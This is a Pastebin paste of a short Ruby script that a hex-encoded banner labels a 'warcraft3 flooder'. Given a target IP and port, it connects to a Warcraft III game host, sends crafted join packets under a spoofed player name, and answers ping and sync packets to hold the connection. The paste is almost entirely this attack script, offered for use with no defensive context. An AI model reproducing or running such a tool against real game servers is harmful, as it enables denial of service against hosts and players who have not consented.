Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #ruby <ip> <port>
- #ruby 66.77.88.99.11 6115
- require "socket"
- ARGV.each
- newname="c39fc38f474dc385c387" #fancy bigmac longer then 8 char
- newname="0909090909090909"
- puts newname=ARGV[2].to_s.unpack("H*")
- name="693869676d6163"# juck name, 16 length
- val="2d".to_i(16)+newname.to_a.pack("H*").length-7
- #puts val.to_s(16)
- puts "2320693869676d616327732077617263726166743320666c6f6f6465722023".to_a.pack("H*")
- TCPSocket.open(ARGV[0],ARGV[1]) {|sock|
- sock.print(["f71e#{val.to_s(16)}00c50d00300000000000e01709000000#{newname}000100020017d7c0a8016b0000000000000000"].pack("H*"))
- while data=(sock.sysread(65535).unpack("H*"))
- puts data.pack("H*")
- if data.to_s.strip.include?("2e77336d00") == true;
- #puts data.to_s.scan(/2e77336d00......../).to_s[10..15]
- sock.print(["f7420d000100000001#{data.to_s.scan(/2e77336d00......../).to_s[10..15]}00"].pack("H*"))
- end
- if data.to_s.strip.include?("f7010800") == true;
- ping=data.to_s.index("f7010800")
- sock.print(["f7460800#{data.to_s[ping+8..ping+15]}"].pack("H*"))
- #f7010800 works
- #testing f7460800
- else
- sleep 1
- end
- end
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement